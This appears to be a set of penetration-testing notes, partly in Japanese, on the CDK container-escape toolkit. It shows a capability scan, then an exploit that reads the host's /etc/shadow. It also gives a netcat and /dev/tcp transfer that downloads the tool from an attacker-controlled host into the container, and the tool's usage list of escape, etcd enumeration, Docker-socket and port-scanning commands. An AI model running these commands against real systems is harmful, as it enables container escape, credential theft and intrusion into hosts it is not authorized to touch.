> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

(ホスト側)
nc -lvp 999 < cdk

cat < /dev/tcp/(あなたのパブリックホストIP)/(ポート) > cdk
chmod a+x cdk

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              コンテナ内部の情報を収集して脆弱性を発見します。
  cdk evaluate --full                       情報収集時にファイルスキャンを有効にします。

Exploit:
  cdk run --list                            利用可能なエクスプロイトをすべて表示します。
  cdk run <exploit> [<args>...]             単一のエクスプロイトを実行します。詳細は https://github.com/cdk-team/CDK/wiki を参照。

Tool:
  vi <file>                                 "vi" コマンドのようにコンテナ内のファイルを編集します。
  ps                                        "ps -ef" コマンドのようにプロセス情報を表示します。
  nc [options]                              TCP トンネルを作成します。
  ifconfig                                  ネットワーク情報を表示します。
  kcurl <path> (get|post) <uri> <data>      K8s api-server にリクエストを送信します。
  ectl <endpoint> get <key>                 ectd キーの不正列挙を行います。
  ucurl (get|post) <socket> <uri> <data>    Docker Unix ソケットにリクエストを送信します。
  probe <ip> <port> <parallel> <timeout-ms> TCP ポートスキャン、例: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     このヘルプメッセージを表示します。
  -v --version  バージョンを表示します。
  --profile=<name> 評価プロファイルを選択します。

cdk evaluate [--full]

cdk run --list

cdk run <script-name> [options]

cdk nc [options]
cdk ps